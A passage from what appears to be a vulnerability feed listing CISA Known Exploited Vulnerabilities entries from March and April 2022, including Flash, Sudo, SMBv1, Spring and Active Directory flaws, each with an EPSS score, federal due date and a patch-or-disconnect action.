EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22954&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22954: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22954&date=2026-10-25
CISA added this entry on 2022-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 14, 2022; federal due date May 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows CLFS Driver Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-24521
Microsoft Windows CLFS Driver Privilege Escalation Vulnerability (Apr 13, 2022).
Microsoft Windows Common Log File System (CLFS) Driver contains an unspecified vulnerability that allows for privilege escalation.
EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24521&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-24521: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24521&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Drupal Core Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-7602
Drupal Core Remote Code Execution Vulnerability (Apr 13, 2022).
A remote code execution vulnerability exists within multiple subsystems of Drupal that can allow attackers to exploit multiple attack vectors on a Drupal site.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-7602&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-7602: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-7602&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Kaseya VSA Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2018-20753
Kaseya VSA Remote Code Execution Vulnerability (Apr 13, 2022).
Kaseya VSA RMM allows unprivileged remote attackers to execute PowerShell payloads on all managed devices.
EPSS 29.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-20753&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-20753: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-20753&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2015-5123
Adobe Flash Player Use-After-Free Vulnerability (Apr 13, 2022).
Use-after-free vulnerability in the BitmapData class in the ActionScript 3 (AS3) implementation in Adobe Flash Player allows remote attackers to execute code or cause a denial-of-service (DoS).
EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5123&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-5123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5123&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2015-5122
Adobe Flash Player Use-After-Free Vulnerability (Apr 13, 2022).
Use-after-free vulnerability in the DisplayObject class in the ActionScript 3 (AS3) implementation in Adobe Flash Player allows remote attackers to execute code or cause a denial-of-service (DoS).
EPSS 87.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5122&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-5122: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5122&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2015-3113
Adobe Flash Player Heap-Based Buffer Overflow Vulnerability (Apr 13, 2022).
Heap-based buffer overflow vulnerability in Adobe Flash Player allows remote attackers to execute code.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3113&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-3113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3113&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-2502
Microsoft Internet Explorer Memory Corruption Vulnerability (Apr 13, 2022).
Microsoft Internet Explorer contains a memory corruption vulnerability that allows an attacker to execute code or cause a denial-of-service (DoS).
EPSS 51.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2502&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2502: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2502&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2015-0313
Adobe Flash Player Use-After-Free Vulnerability (Apr 13, 2022).
Use-after-free vulnerability in Adobe Flash Player allows remote attackers to execute code.
EPSS 95.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0313&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-0313: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0313&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-0311
Adobe Flash Player Remote Code Execution Vulnerability (Apr 13, 2022).
Unspecified vulnerability in Adobe Flash Player allows remote attackers to execute code.
EPSS 85.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0311&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-0311: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0311&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Stack-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2014-9163
Adobe Flash Player Stack-Based Buffer Overflow Vulnerability (Apr 13, 2022).
Stack-based buffer overflow in Adobe Flash Player allows attackers to execute code remotely.
EPSS 44.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-9163&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-9163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-9163&date=2026-10-25
CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WatchGuard Firebox and XTM Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-23176
WatchGuard Firebox and XTM Privilege Escalation Vulnerability (Apr 11, 2022).
WatchGuard Firebox and XTM appliances allow a remote attacker with unprivileged credentials to access the system with a privileged management session via exposed management access.
EPSS 10.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23176&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-23176: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23176&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Active Directory Domain Services Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-42287
Microsoft Active Directory Domain Services Privilege Escalation Vulnerability (Apr 11, 2022).
Microsoft Active Directory Domain Services contains an unspecified vulnerability that allows for privilege escalation.
EPSS 77.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42287&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-42287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42287&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Active Directory Domain Services Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-42278
Microsoft Active Directory Domain Services Privilege Escalation Vulnerability (Apr 11, 2022).
Microsoft Active Directory Domain Services contains an unspecified vulnerability that allows for privilege escalation.
EPSS 73.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42278&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-42278: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42278&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Pixel Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2021-39793
Google Pixel Out-of-Bounds Write Vulnerability (Apr 11, 2022).
Google Pixel contains a possible out-of-bounds write due to a logic error in the code that could lead to local escalation of privilege.
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39793&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-39793: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39793&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Checkbox Survey Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2021-27852
Checkbox Survey Deserialization of Untrusted Data Vulnerability (Apr 11, 2022).
Deserialization of Untrusted Data vulnerability in CheckboxWeb.dll of Checkbox Survey allows an unauthenticated remote attacker to execute arbitrary code.
EPSS 30.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27852&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-27852: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27852&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Versions 6 and earlier for this product are end-of-life and must be removed from agency networks. Versions 7 and later are not considered vulnerable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-22600
Linux Kernel Privilege Escalation Vulnerability (Apr 11, 2022).
Linux Kernel contains a flaw in the packet socket (AF_PACKET) implementation which could lead to incorrectly freeing memory. A local user could exploit this for denial-of-service (DoS) or possibly for privilege escalation.
EPSS 6.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22600&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22600: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22600&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### QNAP Network-Attached Storage (NAS) Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-2509
QNAP Network-Attached Storage (NAS) Command Injection Vulnerability (Apr 11, 2022).
QNAP NAS devices contain a command injection vulnerability which could allow attackers to perform remote code execution.
EPSS 34.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2509&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-2509: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2509&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Telerik UI for ASP.NET AJAX Unrestricted File Upload Vulnerability
https://kevwire.com/record/CVE-2017-11317
Telerik UI for ASP.NET AJAX Unrestricted File Upload Vulnerability (Apr 11, 2022).
Telerik.Web.UI in Progress Telerik UI for ASP.NET AJAX allows remote attackers to perform arbitrary file uploads or execute arbitrary code.
EPSS 84.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11317&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-11317: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11317&date=2026-10-25
CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sudo Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-3156
Sudo Heap-Based Buffer Overflow Vulnerability (Apr 6, 2022).
Sudo contains an off-by-one error that can result in a heap-based buffer overflow, which allows for privilege escalation.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3156&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-3156: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3156&date=2026-10-25
CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 6, 2022; federal due date Apr 27, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-31166
Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (Apr 6, 2022).
Microsoft HTTP Protocol Stack contains a vulnerability in http.sys that allows for remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31166&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-31166: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31166&date=2026-10-25
CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 6, 2022; federal due date Apr 27, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SMBv1 Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2017-0148
Microsoft SMBv1 Server Remote Code Execution Vulnerability (Apr 6, 2022).
The SMBv1 server in Microsoft allows remote attackers to execute arbitrary code via crafted packets.
EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0148&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-0148: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0148&date=2026-10-25
CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 6, 2022; federal due date Apr 27, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Spring Framework JDK 9+ Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2022-22965
Spring Framework JDK 9+ Remote Code Execution Vulnerability (Apr 4, 2022).
Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding.
EPSS 99.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22965&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22965: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22965&date=2026-10-25
CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple macOS Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2022-22675
Apple macOS Out-of-Bounds Write Vulnerability (Apr 4, 2022).
macOS Monterey contains an out-of-bounds write vulnerability that could allow an application to execute arbitrary code with kernel privileges.
EPSS 12.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22675&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22675: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22675&date=2026-10-25
CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple macOS Out-of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2022-22674
Apple macOS Out-of-Bounds Read Vulnerability (Apr 4, 2022).
macOS Monterey contains an out-of-bounds read vulnerability that could allow an application to read kernel memory.
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22674&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22674: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22674&date=2026-10-25
CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link Multiple Routers Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2021-45382
D-Link Multiple Routers Remote Code Execution Vulnerability (Apr 4, 2022).
A remote code execution vulnerability exists in all series H/W revisions routers via the DDNS function in ncc2 binary file.
EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-45382&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-45382: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-45382&date=2026-10-25
CISA added this entry on 2022-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 4, 2022; federal due date Apr 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trend Micro Apex Central Arbitrary File Upload Vulnerability
https://kevwire.com/record/CVE-2022-26871
Trend Micro Apex Central Arbitrary File Upload Vulnerability (Mar 31, 2022).
An arbitrary file upload vulnerability in Trend Micro Apex Central could allow for remote code execution.
EPSS 19.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26871&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26871: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26871&date=2026-10-25
CISA added this entry on 2022-03-31. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 31, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Sophos Firewall Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2022-1040
Sophos Firewall Authentication Bypass Vulnerability (Mar 31, 2022).
An authentication bypass vulnerability in User Portal and Webadmin of Sophos Firewall allows for remote code execution.
EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1040&date=2026-10-25).
Sources:
